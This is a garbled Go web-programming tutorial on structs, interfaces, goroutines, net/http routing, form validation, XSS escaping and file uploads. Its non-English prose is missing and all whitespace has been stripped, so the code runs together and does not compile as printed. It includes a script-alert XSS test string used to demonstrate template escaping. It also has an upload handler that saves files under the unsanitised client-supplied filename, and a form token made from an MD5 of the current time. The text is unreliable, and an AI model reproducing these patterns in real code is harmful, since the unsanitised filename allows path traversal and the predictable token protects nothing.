typeEmployeestruct{Human//Humanspecialitystringphonestring//phone}

funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//Humanphonefmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}

links

::

2.5structstruct method

method

struct

packagemainimport"fmt"

typeRectanglestruct{width,heightfloat64}

funcarea(rRectangle)float64{returnr.width*r.height}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}

area()RectangleRectangler1,r2

area_rectangle,area_circle,area_triangle...

structclassstructstruct

2.8struct

""""

method method funcreceivermethod

method area()RectangleRectangle.area()Rectanglearea()Rectangle

Rectanglelengthwidtharea()Rectangle

RobPike

"Amethodisafunctionwithanimplicitfirstargument,calledareceiver."

method

func(rReceiverType)funcName(parameters)(results)

method

packagemainimport("fmt""math")

typeRectanglestruct{width,heightfloat64}

typeCirclestruct{radiusfloat64}

func(rRectangle)area()float64{returnr.width*r.height}

func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}

funcmain(){

r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}c2:=Circle{25}

fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}

method

methodmethodmethodmethod.struct

2.9structmethod

methodarea()RectangleCircleReceiverRectangleCirclearea()Rectangle/Circle

method

methodstructstructstructstruct

typetypeNametypeLiteral

typeagesint

typemoneyfloat32

typemonthsmap[string]int

m:=months{"January":31,"February":28,..."December":31,}

Ctypedefagesint

method

method

packagemainimport"fmt"

const(WHITE=iotaBLACKBLUEREDYELLOW)

typeColorbyte

typeBoxstruct{width,height,depthfloat64colorColor

}

typeBoxList[]Box//asliceofboxes

func(bBox)Volume()float64{returnb.width*b.height*b.depth}

func(b*Box)SetColor(cColor){b.color=c}

func(blBoxList)BiggestColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifbv:=b.Volume();bv>v{v=bvk=b.color}}returnk}

func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}

func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}

funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},}

fmt.Printf("Wehave%dboxesinourset\n",len(boxes))

fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestColor().String())

fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())

fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestColor().String())}

const

Colorbytestruct:Boxslice:BoxListBox

method

Volume()BoxBoxSetColor(cColor)BoxcBiggestColor()BoxListlistPaintItBlack()BoxListBoxString()ColorColor

receiver

SetColorreceiverBox*BoxBox

SetColorBoxBoxSetColorBoxBoxBox

receiver

SetColor *b.Color=cb.Color=c

GoGoGo

PointItBlackSetColor (&bl[i]).SetColor(BLACK)SetColorreceiver*BoxBox

Goreceiver

receiver*TTV&V

receiverT TP P

GoC/C++

method

Gomethodsturct

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstring}

typeEmployeestruct{

Human//companystring}

//humanfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

method

EmployeeSayHiEmployee

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstring}

typeEmployeestruct{Human//companystring}

//Humanmethodfunc(h*Human)SayHi(){

fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//EmployeemethodHumanmethodfunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Yesyoucansplitinto2lineshere.}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

Go

Go

links

: struct: interface

2.6interface

interface

Gointerfaceinterface

interface

interfacemethodinterface

StudentEmployeeSayHi sayhi

StudentEmployee SingStudentBorrowMoneyEmployeeSpendSalary

StudentSayHiSingBorrowMoneyEmployeeSayHiSingSpendSalary

interfaceStudentEmployeeStudentEmployeeinterfaceSayHiSinginterfaceEmployeeinterfaceSayHiSingBorrowMoneyEmployeeBorrowMoney

interface

interface

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//Humanschoolstringloanfloat32}

typeEmployeestruct{Human//Humancompanystringmoneyfloat32}

//HumanSayHifunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//HumanSingfunc(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}

//HumanGuzzlefunc(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}

//EmployeeHumanSayHifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//}

//StudentBorrowMoneyfunc(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(againandagainand...)}

//EmployeeSpendSalaryfunc(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Morevodkaplease!!!Getmethroughtheday!}

//interfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}

typeYoungChapinterface{SayHi()Sing(songstring)BorrowMoney(amountfloat32)}

typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)

}

interfaceMeninterfaceHumanStudentEmployeeStudentMenYoungChapinterface

interfaceinterface{}0interface

interface

interfaceinterfaceinterfaceMeninterfacemmHumanStudentEmployee

mMenslicesliceMensliceslice

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstringloanfloat32}

typeEmployeestruct{Human//companystringmoneyfloat32}

//HumanSayHifunc(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)

}

//HumanSingfunc(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}

//EmployeeHumanSayHifunc(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)}

//InterfaceMenHuman,StudentEmployee//typeMeninterface{SayHi()Sing(lyricsstring)}

funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Tom",37,"222-444-XXX"},"ThingsLtd.",5000}

//MenivariMen

//iStudenti=mikefmt.Println("ThisisMike,aStudent:")i.SayHi()i.Sing("Novemberrain")

//iEmployeei=tomfmt.Println("ThisisTom,anEmployee:")i.SayHi()i.Sing("Borntobewild")

//sliceMen

fmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//x[0],x[1],x[2]=paul,sam,mike

for_,value:=rangex{value.SayHi()}}

interfaceinterfaceGointerfaceduck-typing""

interface

interface(interface{})interfaceinterfaceCvoid*

//avarainterface{}variint=5s:="Helloworld"//aa=ia=s

interface{}interface{}

interface

interfaceinterfaceinterface

fmt.Printlnfmt

typeStringerinterface{String()string}

Stringfmt.Println

packagemainimport("fmt""strconv")

typeHumanstruct{namestringageintphonestring}

//Humanfmt.Stringerfunc(hHuman)String()string{return"❰"+h.name+"-"+strconv.Itoa(h.age)+"years-✆"+h.phone+"❱"}

funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}

BoxColorStringfmt.StringerinterfacefmtStringerfmt

//fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())

errorError()stringfmtError()String()

interface

interfaceinterface

Comma-ok

Govalue,ok=element.(T),valueokboolelementinterfaceT

elementToktruefalse

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestringageint}

//Stringfmt.Stringerfunc(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}

forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{

fmt.Println("list[%d]isofadifferenttype",index)}}}

if

ifelseswitch

switch

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestringageint}

//func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}

forindex,element:=rangelist{switchvalue:=element.(type){

caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:fmt.Println("list[%d]isofadifferenttype",index)}}}

element.(type)switchswitch comma-ok

interface

GoStructinterfaceinterface1interface2interface2interface1

container/heap

typeInterfaceinterface{sort.Interface//sort.InterfacePush(xinterface{})//aPushmethodtopushelementsintotheheapPop()interface{}//aPopelementsthatpopselementsfromtheheap}

sort.Interfacesort.Interface

typeInterfaceinterface{//Lenisthenumberofelementsinthecollection.Len()int//Lessreturnswhethertheelementwithindexishouldsort

//beforetheelementwithindexj.Less(i,jint)bool//Swapswapstheelementswithindexesiandj.Swap(i,jint)}

ioio.ReadWriterioReaderWriterinterface

//io.ReadWritertypeReadWriterinterface{ReaderWriter}

Goreflectreflect lawsofreflection

reflectreflectreflect.Typereflect.Value

t:=reflect.TypeOf(i)//t

v:=reflect.ValueOf(i)//v

reflectreflect

tag:=t.Elem().Field(0).Tag//structname:=v.Elem().Field(0).String()//

reflect

varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())

fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())

varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)

varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)

links

::

2.7Go21CGo21Go

goroutine

goroutineGogoroutinegoroutine5,6Gogoroutinegoroutine4~5KBgoroutinethread

goroutineGoruntimegoroutine go

gohello(a,b,c)

gogoroutine

packagemain

import("fmt""runtime")

funcsay(sstring){fori:=0;i<5;i++{runtime.Gosched()fmt.Println(s)}}

funcmain(){gosay("world")//Goroutinessay("hello")//Goroutines}

////hello//world//hello//world//hello//world//hello//world//hello

gogoroutine

runtime.Gosched()CPUgoroutine

runtime.GOMAXPROCS(n)GOMAXPROCSn<1GoRobhttp://concur.rspace.googlecode.com/hg/talk/concur.html#landing-

slide

channels

goroutinegoroutineGoUnixshellchannelmakechannel

ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})

channel<-

ch<-v//vchannelchv:=<-ch//chv

packagemain

import"fmt"

funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}

funcmain(){a:=[]int{7,2,8,-9,4,0}

c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc

fmt.Println(x,y,x+y)}

channelGoroutineslockvalue:=<-chch<-5channelgoroutine

BufferedChannels

channelGochannelchannelch:=make(chanbool,4)boolchannelchannel4goroutinechannel

ch:=make(chantype,value)

value==0!value>0! value

value

packagemain

import"fmt"

funcmain(){c:=make(chanint,2)//21 23c<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}

Range Close

cGorangeslicemapchannel

packagemain

import("fmt")

funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{c<-xx,y=y,x+y}close(c)}

funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}

fori:=rangecchannelchannelchannel closechannelchannel v,ok:=<-chchannelokfalsechannel

channelpanic

channelrange

Select

channelchannelGo select selectchannel

selectchannelchannelselect

packagemain

import"fmt"

funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")return}}}

funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}

selectdefault selectswitchdefaultchannelselectchannel

select{casei:=<-c://useidefault://c}

goroutineselect

funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}

runtimegoroutine

runtimegoroutine

Goexit

goroutinedefer

Gosched

goroutine

NumCPU

CPU

NumGoroutine

GOMAXPROCS

CPU

links

: interface:

2.8GoGo

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

varconst2.2Gopackageimportfuncreturndefergoselectinterface2.6struct2.5breakcasecontinueforfallthroughelseifswitchgotodefault2.3

chanchannel

typemapmaprangeslicemapchannel

Go

links

:: Web

3WebWebGoWebGoHTTPWebWebWebGoWeb

links

:: Web

3.1Web

URLDNSDNSIPIPIPTCPHTTPRequestHTTPResponsebodyTCP

3.1Web

WebHTTPHTTPWeb

Web

TCP/IPTCPHTTPHTTP""HTML

HTTP

URL DNS

URLURL

URL(UniformResourceLocator)""

scheme://host[:port#]/path/.../[?query-string][#anchor]schemehttp,https,ftphostHTTPIPport#HTTP80http://www.cnblogs.com:8080/

pathquery-stringhttpanchor

DNS(DomainNameSystem)""TCP/IPIPDNS

3.2DNS

DNSDNS

1. www.qq.comhostsIP

2. hostsDNS

3. hostsDNSTCP/IPDNSDNS

4. DNSURLIP

5. DNSDNSDNS"DNS"

"DNS"(.com)IPDNSIP.com.com.comDNS(qq.com)DNSDNSqq.comwww.qq.com

6. DNSDNSDNSDNSDNS

3.3DNS

"" ""

()xxxxxxyyxxyy

IPIP

HTTP

HTTPWebWebHTTP

HTTPWeb()InternetTCPTCP80--HTTPHTTP""HTTP

HTTPHTTPWebCookie

HTTPTCPTCPHTTPSYNFloodDoSDdoSTCPTCPCPU

HTTP

RequestRequest3RequestlineRequestheaderbodyheaderbody

GET/domains/example/HTTP/1.1//RUIHTTP/

Hostwww.iana.org //User-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//Accepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//mimeAccept-Encodinggzip,deflate,sdch //Accept-CharsetUTF- 8,*;q=0.5//////POST

HTTPGET,POST,PUT,DELETEURLHTTPGET,POST,PUT,DELETEGETPOSTGET/POST

fiddler

3.4fiddlerGET

3.5fiddlerPOST

GETPOST

1. GETPOST2. GETURL?URL&EditPosts.aspx?name=test1&id=12345

POSTHTTPBody3. GETURLPOST4. GETGETURL

HTTP

HTTPresponse

HTTP/1.1200OK//Server:nginx/1.0.8//WEB

Date:Date:Tue,30Oct201204:14:25GMT//Content-Type:text/html//Transfer-Encoding:chunked//HTTP

Connection:keep-alive//Content-Length:90////<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//

HTTP

HTTPHTTPResponseHTTP/1.13

1XX -2XX -3XX -4XX -5XX -

200302responseheader

3.6

HTTP Connection:keep-alive

HTTPHTTPTCPHTTPUDP

HTTP/1.1Keep-AliveHTTPTCPTCP

Keep-AliveApache

3.7requestresponse

URLgo

URLhtmlHTMLHTMLDOMcssjsHTTP

HTTPcssjs

links

: Web: GOWeb

3.2Go WebWebhttpGonet/httphttpWebWebcookie

http Web

packagemain

import("fmt""net/http""strings""log")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//fmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}

funcmain(){http.HandleFunc("/",sayhelloName)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}

buildweb.exe9090http

http://localhost:9090

Helloastaxie!

http://localhost:9090/?url_long=111&url_long=222

3.8Web

Webhttp

PHPnginxapachetcpnginxsayhelloNamephpcontroller

PythontornadoGoPythonWeb

RubyROR/script/server

GowebWebGoWeb

links

: Web: Goweb

3.3Go WebGoWebnet/httpGoGoWebWeb

web

Requestpostgetcookieurl

Response

Conn

Handler

http

GoWeb

3.9http

1. ListenSocket

2. ListenSocketClientSocketClientSocket

3. ClientSocketHTTPPOSThandlerhandlerClientSocket

GoWeb

handler

Go ListenAndServeserver net.Listen("tcp",addr)TCP

GohttpHTTP

func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}

srv.Serve(net.Listener) for{}ListenerConngoroutineconn goc.serve()goroutine

connrequest c.readRequest()handler handler:=sh.srv.HandlerListenAndServenil handler=DefaultServeMux

urlhandler

/url"/"sayhelloNameDefaultServeMuxServeHTTPsayhelloNameresponse

3.10http

GoWeb

links

: GOweb: Gohttp

3.4Go httpGoWebhttp

GohttpConnServeMux

Conn goroutine

httpGogoroutinesConnGo

Go

c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()

ConnConnhandlerhandlerhandler

ServeMux

conn.serverhttp

typeServeMuxstruct{musync.RWMutex//

mmap[string]muxEntry//stringmuxstring

hostsbool//host}

muxEntry

typemuxEntrystruct{explicitbool//hHandler//handlerpatternstring//}

Handler

typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//}

Handler sayhelloNameServeHTTPhttp HandlerFuncsayhelloNameHandlerFuncServeHTTPHandlerFunc(f)f

HandlerFuncfServeHTTP

typeHandlerFuncfunc(ResponseWriter,*Request)

//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}

ServeHTTP

func(mux*ServeMux)ServeHTTP(wResponseWriter,r*Request){ifr.RequestURI=="*"{w.Header().Set("Connection","close")w.WriteHeader(StatusBadRequest)return}h,_:=mux.Handler(r)h.ServeHTTP(w,r)}

* mux.handler(r).ServeHTTP(w,r)Handler h.ServeHTTP(w,r)

handlerServerHTTPmux.Handler(r)

func(mux*ServeMux)Handler(r*Request)(hHandler,patternstring){ifr.Method!="CONNECT"{ifp:=cleanPath(r.URL.Path);p!=r.URL.Path{_,pattern=mux.handler(r.Host,p)returnRedirectHandler(p,StatusMovedPermanently),pattern}}returnmux.handler(r.Host,r.URL.Path)}

func(mux*ServeMux)handler(host,pathstring)(hHandler,patternstring){mux.mu.RLock()defermux.mu.RUnlock()

//Host-specificpatterntakesprecedenceovergenericonesifmux.hosts{h,pattern=mux.match(host+path)}ifh==nil{h,pattern=mux.match(path)}ifh==nil{h,pattern=NotFoundHandler(),""}return}

URLmaphandlerhandlerServeHTTP

Go ListenAndServe2HandlerHandlerServeHTTP

packagemain

import("fmt""net/http")

typeMyMuxstruct{}

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)return}

funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}

funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}

Go

http

Http.HandleFunc

1DefaultServeMuxHandlerFunc

2DefaultServeMuxHandle

3DefaultServeMuxmap[string]muxEntryhandler

http.ListenAndServe(":9090",nil)

1Server

2ServerListenAndServe()

3net.Listen("tcp",addr)

4forAccept

5Conngoroutinegoc.serve()

6w,err:=c.readRequest()

7handlerhandlerhandlerhandlerDefaultServeMux

8handlerServeHttp

9DefaultServeMux.ServeHttp

10requesthandlerhandlerServeHTTP

mux.handler(r).ServeHTTP(w,r)

11handler

ArequestServerMuxmuxEntry

BhandlerServeHttp

CNotFoundHandlerServeHttp

links

: Goweb:

3.5HTTPDNSgowebservernet/httpserver

GoWebGoWeb

links

: Gohttp:

4WebWebC/C++

\

<form>...input...</form>

GoformRequestformWeb4.1Go4.2

HTTP4.34.4cookie(cookieHTTPHeader

Go4.5Go

links

::

4.1login.gtpl

<html><head><title></title></head><body><formaction="/login"method="post">: <inputtype="text"name="username">: <inputtype="password"name="password"><inputtype="submit"value="" ></form>

</body></html>

/login loginPOSTGET

httpwebloginform

packagemain

import("fmt""html/template""log""net/http""strings")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//urlPOSTrequestbody

//ParseFormfmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")t.Execute(w,nil)}else{//fmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])}}

funcmain(){http.HandleFunc("/",sayhelloName)//http.HandleFunc("/login",login)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}

r.MethodGET,POST,PUTmethod

loginr.MethodGET

http://127.0.0.1:9090/login

4.1

Handlerform r.ParseForm()fmt.Println("username:",r.Form["username"])r.ParseForm()

r.FormURLquery-stringPOSTPUTURLquery-stringPOSTsliceGoPOSTGET

login.gtplformactionhttp://127.0.0.1:9090/loginhttp://127.0.0.1:9090/login?username=astaxieusernameslice

4.1

request.Formurl.Values key=valueform

v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])

Tips:RequestFormValue()r.Form["username"]r.FormValue("username")r.FormValuer.ParseFormr.FormValue

links

::

4.2WebWeb

WebJavaScriptValidationJS

Gobuiltin lenlen

iflen(r.Form["username"][0])==0{//

}

r.Formr.Form r.Form.Get()r.Form.Get()map

5010""""int

int

getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//}

//ifgetint>100{//}

ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{returnfalse}

Go

GoRE2UTF-8

unicode funcIs(rangeTab*RangeTable,rrune)

bool

ifm,_:=regexp.MatchString("^\\p{Han}+$",r.Form.Get("realname"));!m{returnfalse}

astaxieasta:xie

ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}

Email

ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}

ifm,_:=regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`,r.Form.Get("mobile"));!m{returnfalse}

<select>

select

<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banane">banane</option></select>

slice:=[]string{"apple","pear","banane"}

for_,v:=rangeslice{ifv==r.Form.Get("fruit"){returntrue}}returnfalse

15httptelnet123

<inputtype="radio"name="gender"value="1"><inputtype="radio"name="gender"value="2">

slice:=[]int{1,2}

for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse

<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">

slice

slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}

returnfalse

Slice_diffslicemap https://github.com/astaxie/beeku

845

Gotime

t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())

time

1518(1518)

//1515ifm,_:=regexp.MatchString(`^(\d{15})$`,r.Form.Get("usercard"));!m{returnfalse}

//181817Xifm,_:=regexp.MatchString(`^(\d{17})([0-9]|X)$`,r.Form.Get("usercard"));!m{returnfalse}

Go

links

::

4.3

Web""(CrossSiteScriptingXSS)

JavaScriptVBScriptActiveXFlashcookie

XSS

GoGohtml/template

funcHTMLEscape(wio.Writer,b[]byte)//bwfuncHTMLEscapeString(sstring)string//sfuncHTMLEscaper(args...interface{})string//

4.1

fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//

username<script>alert()</script>

4.3Javascript

Gohtml/templatehtml <script>alert()</script>text/template import"text/template"...t,err:=template.New("foo").Parse({{define"T"}}Hello,{{.}}!{{end}})err=t.ExecuteTemplate(out,"T","")

Hello,<script>alert('youhavebeenpwned')</script>!

template.HTML

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))

Hello,<script>alert('youhavebeenpwned')</script>!

template.HTML

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Hello,&lt;script&gt;alert(&#39;youhavebeenpwned&#39;)&lt;/script&gt;!

links

::

4.4BBS--

hiddenAjaxjavascript

4.2

<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">:<input type="text"name="username">:<input type="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="" >

tokenhiddenMD5()session

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//r.ParseForm()

token:=r.Form.Get("token")iftoken!=""{//token}else{//token}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//

}}

4.4token

tokenform

links

::

4.5Instagram

form enctype enctype

application/x-www-form-urlencodedmultipart/form-data

text/plain "+"

html

<html><head><title> </title></head><body><formenctype="multipart/form-data"action="http://127.0.0.1:9090/upload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>

handlerFunc

http.HandleFunc("/upload",upload)

///uploadfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)iferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}

r.ParseMultipartForm maxMemory ParseMultipartFormmaxMemory maxMemory r.FormFile io.Copy

r.ParseFormGo ParseMultipartForm

3

1. enctype="multipart/form-data"2. r.ParseMultipartForm

3. r.FormFile

handlermultipart.FileHeader

typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}

4.5

Go

packagemain

import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")

funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)

//

fileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}

